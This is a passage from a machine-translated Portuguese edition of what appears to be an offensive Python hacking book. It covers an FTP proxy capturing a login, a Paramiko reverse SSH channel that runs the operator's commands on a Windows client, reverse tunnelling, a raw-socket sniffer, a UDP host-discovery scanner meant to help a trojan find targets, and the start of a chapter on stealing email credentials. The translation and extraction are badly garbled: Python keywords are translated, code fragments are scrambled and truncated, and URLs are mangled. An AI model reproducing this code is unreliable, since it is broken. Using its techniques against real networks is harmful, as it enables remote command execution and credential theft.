remoto e porta. Obviamente, você desejará apontar seu proxy para um servidor FTP que realmente responderá
a você. Quando executei isso em um servidor FTP de teste, obtive o seguinte resultado:
[*] Ouvindo em 127.0.0.1:21 [==>] Recebida
conexão de entrada de 127.0.0.1:59218 0000 32 32 30 20 50 72 6F 46 54 50 44 20 31
2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Servidor (Debian)
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 [::ffff:22.22
0030 2E 31 36 38 2E 39 33 5D 0D 0A .22.22]..
[<==] Enviando 58 bytes para localhost.
[==>] Recebeu 12 bytes de localhost.
0000 55 53 45 52 20 74 65 73 74 79 0D 0A USUÁRIO teimoso..
[==>] Enviado para remoto.
[<==] Recebido 33 bytes do controle remoto.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Senha necessária
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D para testy.
0020 0A .
[<==] Enviado para localhost.
[==>] Recebido 13 bytes de localhost.
0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A testador PASS..
[==>] Enviado para remoto.
[*] Sem mais dados. Fechando conexões.
Você pode ver claramente que somos capazes de receber com sucesso o banner FTP e enviar um nome de
usuário e senha, e que ele sai de forma limpa quando o servidor nos punt devido a credenciais incorretas.
Machine Translated by Google
SSH com Paramiko
Pivotar com BHNET é bastante útil, mas às vezes é aconselhável criptografar seu tráfego para evitar a detecção. Um
meio comum de fazer isso é encapsular o tráfego usando Secure Shell (SSH). Mas e se o seu destino não tiver um cliente SSH
(como 99,81943 por cento dos sistemas Windows)?
Embora existam ótimos clientes SSH disponíveis para Windows, como o Putty, este é um livro sobre Python. Em Python, você
pode usar soquetes brutos e alguma mágica criptográfica para criar seu próprio cliente ou servidor SSH — mas por que criar
quando você pode reutilizar? Paramiko usando PyCrypto oferece acesso simples ao protocolo SSH2.
Para aprender como essa biblioteca funciona, usaremos o Paramiko para fazer uma conexão e executar um comando em um
sistema SSH, configurar um servidor SSH e um cliente SSH para executar comandos remotos em uma máquina Windows e,
finalmente, decifrar a demonstração do túnel reverso arquivo incluído no Paramiko para duplicar a opção de proxy do BHNET.
Vamos começar.
Primeiro, pegue o Paramiko usando o instalador pip (ou baixe-o em http:// www.paramiko.org/):
pip instalar paramiko
Usaremos alguns dos arquivos de demonstração mais tarde, portanto, certifique-se de baixá-los também do site da Paramiko.
Retorna
Este é um programa bastante simples. Criamos uma função chamada ssh_command ÿ, que faz uma conexão com um servidor
SSH e executa um único comando. Observe que o Paramiko suporta autenticação com chaves ÿ em vez de (ou além de)
autenticação de senha. O uso da autenticação de chave SSH é altamente recomendado em um compromisso real, mas para
facilitar o uso neste exemplo, usaremos o nome de usuário tradicional e a autenticação de senha.
Como estamos controlando as duas extremidades dessa conexão, definimos a política para aceitar a chave SSH do servidor
SSH ao qual estamos nos conectando ÿ e fazer a conexão. Finalmente, assumindo que a conexão foi feita, executamos o
comando que passamos na chamada para a função ssh_command em nosso exemplo o comando id ÿ.
Você verá que ele se conecta e executa o comando. Você pode facilmente modificar este script para executar
Machine
vários Translatedem
comandos by um
Google
servidor SSH ou execute comandos em vários servidores SSH.
Assim, com o básico feito, vamos modificar nosso script para suportar a execução de comandos em nosso
cliente Windows por SSH. Claro, normalmente ao usar SSH, você usa um cliente SSH para se conectar a um
servidor SSH, mas como o Windows não inclui um servidor SSH pronto para uso, precisamos reverter isso e
enviar comandos de nosso servidor SSH para o cliente SSH.
tente:
cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(cmd_output)
except Exception,e: ssh_session.send(str(e)) client.close()
Retorna
ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')
As primeiras linhas são como nosso último programa e as novas coisas começam no while True: loop. Observe
também que o primeiro comando que enviamos é ClientConnected. Você verá por que quando criarmos a outra
extremidade da conexão SSH.
if tipo == 'sessão':
ÿ tente:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key) server = Server()
tente:
bhSession.start_server(servidor=servidor) exceto
paramiko.SSHException, x:
print '[-] Falha na negociação SSH.'
chan = bhSession.accept(20) ÿ print '[+]
Autenticado!' print chan.recv(1024) chan.send('Bem-
vindo a bh_ssh')
ÿ enquanto Verdadeiro:
experimentar:
chan.send(comando) print
chan.recv(1024) + '\n' else:
chan.send('exit') print
'exiting' bhSession.close()
raise Exception ('exit')
exceto KeyboardInterrupt:
bhSession.close()
exceto Exceção, e:
print '[-] Exceção capturada: ' try: bhSession.close()+ rua(s)
exceto:
passar
sys.exit(1)
Este programa cria um servidor SSH ao qual nosso cliente SSH (onde queremos executar comandos) se
conecta. Pode ser um sistema Linux, Windows ou até mesmo OS X com Python e Paramiko instalados.
Para este exemplo, estamos usando a chave SSH incluída nos arquivos de demonstração do Paramiko ÿ.
Iniciamos um socket listener ÿ, assim como fizemos anteriormente no capítulo, e então SSHinizamos ÿ e
configuramos os métodos de autenticação ÿ. Quando um cliente é autenticado ÿ e nos envia a mensagem
ClientConnected ÿ, qualquer comando que digitamos no bh_sshserver é enviado para o bh_sshclient e
executado no bh_sshclient, e a saída é retornada para bh_sshserver. Vamos tentar.
Machine Translated by Google
Chutando os pneus Para a
demonstração, executarei o servidor e o cliente em minha máquina Windows (consulte a Figura 2-1).
Você pode ver que o processo começa configurando nosso servidor SSH ÿ e, em seguida, conectando-se
a partir de nosso cliente ÿ. O cliente está conectado com sucesso ÿ e executamos um comando ÿ. Não vemos
nada no cliente SSH, mas o comando que enviamos é executado no cliente ÿ e a saída é enviada para nosso
servidor SSH ÿ.
Machine Translated by Google
Tunelamento SSH O
tunelamento SSH é incrível, mas pode ser confuso para entender e configurar, especialmente quando se
lida com um túnel SSH reverso.
Lembre-se de que nosso objetivo em tudo isso é executar comandos que digitamos em um cliente SSH em um
servidor SSH remoto. Ao usar um túnel SSH, em vez de comandos digitados serem enviados ao servidor, o tráfego de
rede é enviado empacotado dentro do SSH e depois desempacotado e entregue pelo servidor SSH.
Imagine que você está na seguinte situação: Você tem acesso remoto a um servidor SSH em uma rede
interna, mas deseja acessar o servidor web na mesma rede. Você não pode acessar o servidor web diretamente,
mas o servidor com SSH instalado tem acesso e o servidor SSH não possui as ferramentas que você deseja usar
instaladas nele.
Uma maneira de superar esse problema é configurar um túnel SSH de encaminhamento. Sem entrar em muitos
detalhes, executar o comando ssh -L 8008:web:80 justin@sshserver conectará ao servidor ssh como o usuário
justin e configurará a porta 8008 em seu sistema local. Qualquer coisa enviada para a porta 8008 será enviada pelo
túnel SSH existente para o servidor SSH e entregue ao servidor da web. A Figura 2-2 mostra isso em ação.
Isso é muito legal, mas lembre-se de que poucos sistemas Windows estão executando um serviço de servidor SSH.
Nem tudo está perdido, no entanto. Podemos configurar uma conexão de túnel SSH reverso. Nesse caso, nos
conectamos ao nosso próprio servidor SSH do cliente Windows da maneira usual. Por meio dessa conexão SSH,
também especificamos uma porta remota no servidor SSH que será encapsulada para o host local e a porta (conforme
mostrado na Figura 2-3). Este host local e porta podem ser usados, por exemplo, para expor a porta 3389 para
acessar um sistema interno usando a área de trabalho remota ou para outro sistema que o cliente Windows possa
acessar (como o servidor web em nosso exemplo).
Machine Translated by Google
Os arquivos de demonstração do Paramiko incluem um arquivo chamado rforward.py que faz exatamente isso. Funciona
perfeitamente como está, então não vou apenas reimprimir esse arquivo, mas vou apontar alguns pontos importantes e
mostrar um exemplo de como usá-lo. Abra rforward.py, pule para main () e siga em frente.
def principal():
ÿ opções, servidor, remoto = parse_options()
senha = Nenhuma se
opções.readpass:
password = getpass.getpass('Enter SSH password: ') ÿ client =
paramiko.SSHClient() client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose('Connecting
to ssh host %s:%d .. .' % (servidor[0], servidor[1])) tente: client.connect(servidor[0],
servidor[1], nome de usuário=options.user, key_filename=options.keyfile,
look_for_keys=options.look_for_keys, senha =senha)
verbose('Agora encaminhando a porta remota %d para %s:%d ...' % (options.port, remote[0], remote[1]))
tente:
ÿ reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
exceto KeyboardInterrupt:
print('Cc: Encaminhamento de porta interrompido.')
sys.exit(0)
As poucas linhas na parte superior ÿ verifique novamente para garantir que todos os argumentos necessários sejam
passados para o script antes de configurar a conexão do cliente Parmakio SSH ÿ (que deve parecer muito familiar).
A seção final em main() chama a função reverse_forward_tunnel ÿ.
Vamos dar uma olhada nessa função.
thr.setDaemon(True) thr.start()
No Paramiko, existem dois métodos principais de comunicação: o transporte, que é responsável por fazer e
manter a conexão criptografada, e o canal, que atua como um sock para enviar e receber dados na sessão de
transporte criptografado. Aqui começamos a usar request_port_forward do Paramiko para encaminhar conexões
TCP de uma porta ÿ no servidor SSH e iniciar um novo canal de transporte ÿ. Então, no canal, chamamos o manipulador
de função ÿ.
verbose('Conectado! Túnel aberto %r -> %r -> %r' % (chan.origin_addr, . chan.getpeername(), . (host, porta)))
ÿ enquanto Verdadeiro:
chan.enviar(dados)
se chan em r:
data = chan.recv(1024) if len(data)
== 0:
pausa
sock.send(data)
chan.close() sock.close()
verbose('Túnel fechado de %r' %
(chan.origin_addr,))
Vamos tentar.
Machine Translated by Google
Chutando os pneus Vamos
executar rforward.py de nosso sistema Windows e configurá-lo para ser o intermediário enquanto encapsulamos
o tráfego de um servidor da Web para nosso servidor Kali SSH.
Você pode ver que, na máquina Windows, fiz uma conexão com o servidor SSH em 192.168.100.133 e abri a porta
8080 nesse servidor, que encaminhará o tráfego para a porta 80 192.168.100.128. Agora, se eu navegar para http://
127.0.0.1:8080 em meu servidor Linux, conecto-me ao servidor web em 192.168.100.128 por meio do túnel SSH,
conforme mostrado na Figura 2-4.
Se você voltar para a máquina Windows, também poderá ver a conexão sendo feita no Paramiko:
Conectado! Túnel aberto (u'127.0.0.1', 54537) -> ('192.168.100.133', 22) -> ('192.168.100.128', 80)
SSH e tunelamento SSH são importantes para entender e usar. Saber quando e como fazer o SSH e o túnel SSH
é uma habilidade importante para os black hats, e o Paramiko torna possível adicionar recursos SSH às suas
ferramentas Python existentes.
Criamos algumas ferramentas muito simples, mas muito úteis neste capítulo. Eu encorajo você a expandir e modificar
conforme necessário. O objetivo principal é desenvolver uma compreensão firme do uso da rede Python para criar
ferramentas que você pode usar durante testes de penetração, pós-exploração ou durante a busca por bugs. Vamos
passar a usar soquetes brutos e realizar sniffing de rede e, em seguida, combinaremos os dois para criar um scanner
de descoberta de host Python puro.
[5] A documentação completa do soquete pode ser encontrada aqui: http:// docs.python.org/ 2/ library/ socket.html.
[6] Esta discussão expande o trabalho de Hussam Khrais, que pode ser encontrado em http:// resources.infosecinstitute.com/.
Machine Translated by Google
Capítulo 3. A Rede: Raw Sockets e
Sniffing
Os sniffers de rede permitem que você veja os pacotes entrando e saindo de uma máquina de destino. Como
resultado, eles têm muitos usos práticos antes e depois da exploração. Em alguns casos, você poderá usar o
Wireshark (http:// wireshark.org/) para monitorar o tráfego ou usar uma solução Pythonic como Scapy (que
exploraremos no próximo capítulo). No entanto, há uma vantagem em saber como reunir um sniffer rápido para
visualizar e decodificar o tráfego de rede. Escrever uma ferramenta como esta também lhe dará uma profunda
apreciação pelas ferramentas maduras que podem cuidar sem dor dos pontos mais delicados com pouco esforço de
sua parte. Você provavelmente também aprenderá algumas novas técnicas de Python e talvez um melhor
entendimento de como os bits de rede de baixo nível funcionam.
No capítulo anterior, abordamos como enviar e receber dados usando TCP e UDP e, sem dúvida, é assim que
você irá interagir com a maioria dos serviços de rede. Mas sob esses protocolos de nível superior estão os blocos
de construção fundamentais de como os pacotes de rede são enviados e recebidos. Você usará soquetes brutos
para acessar informações de rede de nível inferior, como os cabeçalhos IP e ICMP brutos. No nosso caso, estamos
interessados apenas na camada IP e superior, portanto não decodificaremos nenhuma informação Ethernet.
Obviamente, se você pretende realizar ataques de baixo nível, como envenenamento por ARP, ou está
desenvolvendo ferramentas de avaliação sem fio, precisa se familiarizar intimamente com os quadros Ethernet e
seu uso.
Vamos começar com um breve passo a passo de como descobrir hosts ativos em um segmento de rede.
Machine Translated by Google
Construindo uma ferramenta de descoberta de host UDP
O principal objetivo do nosso sniffer é realizar a descoberta de host baseada em UDP em uma rede de destino.
Os invasores desejam poder ver todos os alvos em potencial em uma rede para que possam concentrar suas
tentativas de reconhecimento e exploração.
Usaremos um comportamento conhecido da maioria dos sistemas operacionais ao lidar com portas UDP fechadas para
determinar se há um host ativo em um determinado endereço IP. Quando você envia um datagrama UDP para uma porta
fechada em um host, esse host geralmente envia de volta uma mensagem ICMP indicando que a porta está inacessível. Essa
mensagem ICMP indica que há um host ativo porque assumiríamos que não havia host se não recebêssemos uma resposta ao
datagrama UDP. É essencial escolher uma porta UDP que provavelmente não será usada e, para cobertura máxima, podemos
sondar várias portas para garantir que não estamos atingindo um serviço UDP ativo.
Por que UDP? Não há sobrecarga em espalhar a mensagem por toda uma sub-rede e esperar que as respostas ICMP
cheguem de acordo. Este é um scanner bastante simples de construir com a maior parte do trabalho indo para decodificar e
analisar os vários cabeçalhos de protocolo de rede. Implementaremos esse scanner de host para Windows e Linux para
maximizar a probabilidade de poder usá-lo em um ambiente corporativo.
Também poderíamos criar lógica adicional em nosso scanner para iniciar verificações completas de portas Nmap em quaisquer
hosts que descobrirmos para determinar se eles têm uma superfície de ataque de rede viável. Esses são exercícios deixados para
o leitor, e estou ansioso para ouvir algumas das maneiras criativas pelas quais você pode expandir esse conceito básico.
Vamos começar.
Machine Translated by Google
Packet Sniffing no Windows e Linux O acesso a soquetes brutos
no Windows é um pouco diferente do que em seus irmãos Linux, mas queremos ter a flexibilidade de implantar
o mesmo sniffer em várias plataformas. Criaremos nosso objeto de soquete e determinaremos em qual plataforma
estamos executando. O Windows exige que definamos alguns sinalizadores adicionais por meio de um controle
de entrada/saída de soquete (IOCTL), [7] que habilita o modo promíscuo na interface de rede. Em nosso primeiro
exemplo, simplesmente configuramos nosso sniffer de soquete bruto, lemos um único pacote e, em seguida,
encerramos.
importar soquete importar
sistema operacional
ÿ socket_protocol = socket.IPPROTO_IP
outro:
socket_protocol = socket.IPPROTO_ICMP
sniffer.bind((host, 0))
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
Começamos construindo nosso objeto socket com os parâmetros necessários para farejar pacotes em nossa
interface de rede ÿ. A diferença entre o Windows e o Linux é que o Windows nos permitirá farejar todos os
pacotes recebidos, independentemente do protocolo, enquanto o Linux nos obriga a especificar que estamos
farejando o ICMP. Observe que estamos usando o modo promíscuo, que requer privilégios administrativos no
Windows ou root no Linux. O modo promíscuo nos permite farejar todos os pacotes que a placa de rede vê, mesmo
aqueles não destinados ao seu host específico. Em seguida, definimos uma opção de soquete ÿ que inclui os
cabeçalhos IP em nossos pacotes capturados. A próxima etapa ÿ é determinar se estamos usando o Windows e,
em caso afirmativo, executamos a etapa adicional de enviar um IOCTL para o driver da placa de rede para habilitar
o modo promíscuo. Se você estiver executando o Windows em uma máquina virtual, provavelmente receberá uma
notificação de que o sistema operacional convidado está habilitando o modo promíscuo; você, é claro, permitirá.
Agora estamos prontos para realizar algum sniffing e, neste caso, estamos simplesmente imprimindo todo o pacote
bruto ÿ sem decodificação de pacote. Isso é apenas para testar se temos o núcleo do nosso código de detecção
funcionando. Depois que um único pacote é detectado, testamos novamente o Windows e desabilitamos o modo
promíscuo ÿ antes de sair do script.
Machine Translated by Google
Chutando os pneus Abra um
python sniffer.py
Em outro terminal ou janela de shell, você pode simplesmente escolher um host para fazer ping. Aqui, faremos
ping nostarch.com:
ping nostarch.com
Na primeira janela em que você executou o sniffer, você deve ver uma saída distorcida que se parece muito com a seguinte:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0 0\x01\x04\x01\x005\x00&\
xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\ x00\x08nostarch\x03com\x00\x00\x01\x00\x01',
('192.168.0.187', 0) )
Você pode ver que capturamos a solicitação de ping ICMP inicial destinada a nostarch.com (com base na aparência da string
nostarch.com). Se você estiver executando este exemplo no Linux, receberá a resposta de nostarch.com. Detectar um pacote
não é muito útil, então vamos adicionar algumas funcionalidades para processar mais pacotes e decodificar seu conteúdo.
Machine Translated by Google
Decodificando a camada IP Em
sua forma atual, nosso sniffer recebe todos os cabeçalhos IP junto com quaisquer protocolos superiores,
como TCP, UDP ou ICMP. As informações são compactadas em formato binário e, como mostrado
acima, são bastante difíceis de entender. Agora vamos trabalhar na decodificação da parte IP de um
pacote para que possamos extrair informações úteis, como o tipo de protocolo (TCP, UDP, ICMP) e os
endereços IP de origem e destino. Esta será a base para você começar a criar mais análises de protocolo
posteriormente.
Se examinarmos a aparência de um pacote real na rede, você entenderá como precisamos decodificar os pacotes recebidos.
Consulte a Figura 3-1 para a composição de um cabeçalho IP.
Decodificaremos todo o cabeçalho IP (exceto o campo Opções) e extrairemos o tipo de protocolo, origem e endereço IP de
destino. Usar o módulo Python ctypes para criar uma estrutura semelhante a C nos permitirá ter um formato amigável para lidar
com o cabeçalho IP e seus campos de membros. Primeiro, vamos dar uma olhada na definição em C da aparência de um
cabeçalho IP.
struct ip { u_char
ip_hl:4; u_char ip_v:4;
u_char ip_tos; u_short
ip_len; u_short ip_id;
u_short ip_off; u_char
ip_ttl; u_char ip_p;
u_short ip_sum; u_long
ip_src; u_long ip_dst;
Agora você tem uma ideia de como mapear os tipos de dados C para os valores do cabeçalho IP. Usar o código C como
referência ao traduzir para objetos Python pode ser útil porque torna fácil convertê-los em Python puro. É importante observar
que os campos ip_hl e ip_v têm uma notação de bit adicionada a eles (a parte :4 ). Isso indica que esses são campos de bits
e têm 4 bits de largura. Usaremos uma solução Python pura para garantir que esses campos sejam mapeados corretamente
para que possamos evitar qualquer manipulação de bits.
Vamos implementar nossa rotina de decodificação de IP em snif er_ip_header_decode.py conforme mostrado abaixo.
soquete de importação
Machine Translated by Google
import os
import struct from
ctypes import * # host para
escutar
host = "192.168.0.187"
# nosso cabeçalho IP
ÿ class IP(Structure): _fields_ =
[ ("ihl", c_ubyte, 4),
("version", c_ubyte, 4), ("tos", c_ubyte),
("len", c_ushort), ("id", c_ushort), ("offset",
c_ushort), ("ttl",
c_ubyte), ("protocol_num", c_ushort),
c_ubyte), ("sum",
("src",
c_ulong), (" dst", c_ulong)
self.protocol = self.protocol_map[self.protocol_num]
exceto:
self.protocol = str(self.protocol_num)
socket_protocol = socket.IPPROTO_ICMP
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) tente:
enquanto verdadeiro:
# lê em um pacote
ÿ raw_buffer = sniffer.recvfrom(65565)[0]
O primeiro passo é definir uma estrutura Python ctypes ÿ que mapeará os primeiros 20 bytes do buffer recebido
em um cabeçalho IP amigável. Como você pode ver, todos os campos que identificamos e a estrutura C anterior
correspondem perfeitamente. O método __new__ da classe IP simplesmente pega um buffer bruto (neste caso,
o que recebemos na rede) e forma a estrutura a partir dele. Quando o método __init__ é chamado, __new__ já
terminou o processamento do buffer. Dentro do __init__, estamos simplesmente fazendo algumas tarefas
domésticas para fornecer uma saída legível por humanos para o protocolo em uso e os endereços IP ÿ.
Com nossa estrutura de IP recém -criada, agora colocamos a lógica para ler continuamente os pacotes e
analisar suas informações. O primeiro passo é ler o pacote ÿ e depois passar os primeiros 20 bytes ÿ para
inicializar nossa estrutura IP . Em seguida, simplesmente imprimimos as informações que capturamos ÿ. Vamos
experimentar.
Machine Translated by Google
Chutando os pneus
Vamos testar nosso código anterior para ver que tipo de informação estamos extraindo dos pacotes
brutos que estão sendo enviados. Definitivamente, recomendo que você faça esse teste em sua máquina
Windows, pois poderá ver TCP, UDP e ICMP, o que permite que você faça alguns testes bem legais (abra
um navegador, por exemplo). Se você estiver confinado ao Linux, execute o teste de ping anterior para vê-
lo em ação.
python sniffer_ip_header_decode.py
Agora, como o Windows é bastante tagarela, é provável que você veja a saída imediatamente. Testei esse script abrindo
o Internet Explorer e acessando www.google.com, e aqui está a saída do nosso script:
Protocolo: UDP 192.168.0.190 -> 192.168.0.1
Protocolo: UDP 192.168.0.1 -> 192.168.0.190
Protocolo: UDP 192.168.0.190 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 74.125.225.183 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Como não estamos fazendo nenhuma inspeção profunda nesses pacotes, podemos apenas adivinhar o que esse fluxo
está indicando. Meu palpite é que os primeiros pacotes UDP são as consultas DNS para determinar onde o google.com
está, e as sessões TCP subsequentes são minha máquina realmente conectando e baixando conteúdo de seu servidor
da web.
Para realizar o mesmo teste no Linux, podemos executar ping em google.com e os resultados serão mais ou menos
assim:
Você já pode ver a limitação: estamos vendo apenas a resposta e apenas para o protocolo ICMP.
Mas como estamos construindo propositalmente um scanner de descoberta de host, isso é totalmente aceitável. Agora
aplicaremos as mesmas técnicas que usamos para decodificar o cabeçalho IP para decodificar as mensagens ICMP.
Machine Translated by Google
Decodificando o ICMP
Agora que podemos decodificar completamente a camada IP de qualquer pacote sniffado, temos que ser capazes de
decodificar as respostas ICMP que nosso scanner obterá ao enviar datagramas UDP para portas fechadas. As
mensagens ICMP podem variar muito em seu conteúdo, mas cada mensagem contém três elementos que permanecem
consistentes: os campos de tipo, código e soma de verificação. Os campos de tipo e código informam ao host receptor
qual tipo de mensagem ICMP está chegando, o que determina como decodificá-la adequadamente.
Para o objetivo do nosso scanner, estamos procurando um valor de tipo de 3 e um valor de código de 3. Isso
corresponde à classe Destination Unreachable de mensagens ICMP, e o valor de código de 3 indica que o erro Port
Unreachable foi causado. Consulte a Figura 3-2 para obter um diagrama de uma mensagem ICMP de destino
inacessível .
Como você pode ver, os primeiros 8 bits são o tipo e os segundos 8 bits contêm nosso código ICMP. Uma
coisa interessante a observar é que, quando um host envia uma dessas mensagens ICMP, ele inclui o cabeçalho IP da
mensagem de origem que gerou a resposta. Também podemos ver que verificaremos 8 bytes do datagrama original que
foi enviado para garantir que nosso scanner gerou a resposta ICMP. Para fazer isso, simplesmente cortamos os últimos
8 bytes do buffer recebido para extrair a string mágica que nosso scanner envia.
Vamos adicionar mais algum código ao nosso sniffer anterior para incluir a capacidade de decodificar pacotes ICMP.
Vamos salvar nosso arquivo anterior como snif er_with_icmp.py e adicionar o seguinte código:
--snip --
class IP(Estrutura): --snip--
ÿ classe ICMP(Estrutura):
_fields_ = [ ("type",
c_ubyte), ("code", c_ubyte),
("checksum", c_ushort), ("unused",
c_ushort),
("next_hop_mtu", c_ushort)]
--recorte
Este simples trecho de código cria uma estrutura ICMP ÿ sob nossa estrutura IP existente . Quando o loop principal de recebimento de
pacotes determina que recebemos um pacote ICMP ÿ, calculamos o deslocamento no pacote bruto onde o corpo ICMP reside ÿ e
então criamos nosso buffer ÿ e imprimimos os campos de tipo e código . O cálculo do comprimento é baseado no campo ihl do
cabeçalho IP , que indica o número de palavras de 32 bits (blocos de 4 bytes) contidas no cabeçalho IP. Assim, multiplicando este
campo por 4, sabemos o tamanho do cabeçalho IP e, portanto, quando a próxima camada de rede — ICMP neste caso — começa.
Se executarmos rapidamente esse código com nosso teste de ping típico, nossa saída agora deve ser um pouco diferente, conforme
mostrado abaixo:
Isso indica que as respostas de ping (ICMP Echo) estão sendo recebidas e decodificadas corretamente. Agora estamos prontos para
implementar o último bit de lógica para enviar os datagramas UDP e interpretar seus resultados.
Agora vamos adicionar o uso do módulo netaddr para que possamos cobrir uma sub-rede inteira com nossa verificação de
descoberta de host. Salve seu script snif er_with_icmp.py como scanner.py e adicione o seguinte código:
para ip em IPNetwork(sub-rede):
experimentar:
sender.sendto(magic_message,("%s" % ip,65212))
exceto:
passar
--recorte--
--snip--
#print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header. code)
Este último pedaço de código deve ser bastante simples de entender. Definimos uma assinatura de string
simples ÿ para que possamos testar se as respostas vêm de pacotes UDP que enviamos originalmente.
Nossa função udp_sender ÿ simplesmente pega uma sub-rede que especificamos no início de nosso script,
itera por todos os endereços IP dessa sub-rede e dispara datagramas UDP nelas. No corpo principal do nosso
script, logo antes do loop de decodificação do pacote principal, geramos udp_sender em um thread separado ÿ
para garantir que não estamos interferindo em nossa capacidade de detectar respostas. Se detectarmos a
mensagem ICMP antecipada, primeiro verificamos se a resposta ICMP está vindo de nossa sub-rede de destino
ÿ. Em seguida, realizamos nossa verificação final para garantir que a resposta ICMP contenha nossa string mágica
ÿ. Se todas essas verificações forem aprovadas, imprimiremos o endereço IP de origem de onde a mensagem
ICMP foi originada. Vamos experimentar.
Machine Translated by Google
Chutando os pneus Agora
vamos pegar nosso scanner e executá-lo na rede local. Você pode usar Linux ou Windows para isso, pois os
resultados serão os mesmos. No meu caso, o endereço IP da máquina local em que eu estava era
192.168.0.187, então configurei meu scanner para atingir 192.168.0.0/24. Se a saída for muito ruidosa quando
você executar seu scanner, simplesmente comente todas as instruções de impressão, exceto a última que informa
quais hosts estão respondendo.
O N ETA DDRM OD U LE
Nosso scanner usará uma biblioteca de terceiros chamada netaddr, que nos permitirá alimentar uma máscara de sub-rede como 192.168.0.0/24 e fazer com que
nosso scanner a lide adequadamente. Baixe a biblioteca aqui: http:// code.google.com/ p/ netaddr/ downloads/ list
Ou, se você instalou o pacote de ferramentas de configuração do Python no Capítulo 1, pode simplesmente executar o seguinte em um prompt de comando:
easy_install netaddr
O módulo netaddr torna muito fácil trabalhar com sub-redes e endereçamento. Por exemplo, você pode executar testes simples como o seguinte usando
o objeto IPNetwork :
endereço_ip = "192.168.112.3"
Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:
para ip em IPNetwork("192.168.112.1/24"):
s = socket.socket()
s.connect((ip, 25)) # envia
pacotes de correio
Isso simplificará muito sua vida de programação ao lidar com redes inteiras de uma só vez e é ideal para nossa ferramenta de descoberta de host. Depois
de instalado, você está pronto para prosseguir.
Para uma varredura rápida como a que realizei, levou apenas alguns segundos para obter os resultados de volta.
Ao cruzar esses endereços IP com a tabela DHCP em meu roteador doméstico, pude verificar se os resultados
eram precisos. Você pode expandir facilmente o que aprendeu neste capítulo para decodificar pacotes TCP e
UDP e criar ferramentas adicionais em torno disso. Esse scanner também é útil para a estrutura de trojan que
começaremos a construir no Capítulo 7. Isso permitiria que um trojan implantado verificasse a rede local em busca
de alvos adicionais. Agora que temos o básico de como as redes funcionam em um nível alto e baixo, vamos
explorar uma biblioteca Python muito madura chamada Scapy.
[7] Um controle de entrada/ saída (IOCTL) é um meio para programas de espaço de usuário se comunicarem com componentes do modo kernel. Leia aqui: http://
en.wikipedia.org/ wiki/ Ioctl.
Machine Translated by Google
Capítulo 4. Possuir a rede com Scapy
Ocasionalmente, você se depara com uma biblioteca Python tão bem pensada e incrível que dedicar um capítulo
inteiro a ela não pode fazer justiça. Philippe Biondi criou essa biblioteca na biblioteca de manipulação de pacotes
Scapy. Você pode terminar este capítulo e perceber que eu fiz você fazer muito trabalho nos dois capítulos anteriores
que você poderia ter feito com apenas uma ou duas linhas de Scapy. Scapy é poderoso e flexível, e as possibilidades
são quase infinitas. Vamos experimentar as coisas farejando para roubar credenciais de e-mail de texto simples e, em
seguida, envenenando ARP uma máquina de destino em nossa rede para que possamos farejar seu tráfego. Vamos
encerrar demonstrando como o processamento PCAP do Scapy pode ser estendido para extrair imagens do tráfego
HTTP e, em seguida, executar a detecção facial nelas para determinar se há seres humanos presentes nas imagens.
Eu recomendo que você use o Scapy em um sistema Linux, pois ele foi projetado para funcionar com o Linux em mente.
A versão mais recente do Scapy oferece suporte ao Windows, [8] mas, para o propósito deste capítulo, assumirei
que você está usando sua VM Kali que possui uma instalação do Scapy totalmente funcional. Se você não tiver o
Scapy, acesse http:// www.secdev.org/ projects/ scapy/ para instalá-lo.
Machine Translated by Google
Roubando credenciais de e-mail Você já
gastou algum tempo entrando nos detalhes do sniffing em Python. Então vamos conhecer a interface do
Scapy para farejar pacotes e dissecar seu conteúdo. Vamos construir um sniffer muito simples para capturar
as credenciais SMTP, POP3 e IMAP. Mais tarde, acoplando nosso sniffer com nosso ataque de
envenenamento por protocolo de resolução de endereço (ARP) man-in-the-middle (MITM), podemos
facilmente roubar credenciais de outras máquinas na rede. Essa técnica pode, obviamente, ser aplicada a
qualquer protocolo ou simplesmente sugar todo o tráfego e armazená-lo em um arquivo PCAP para análise,
o que também demonstraremos.
Para ter uma ideia do Scapy, vamos começar construindo um esqueleto sniffer que simplesmente disseca e despeja
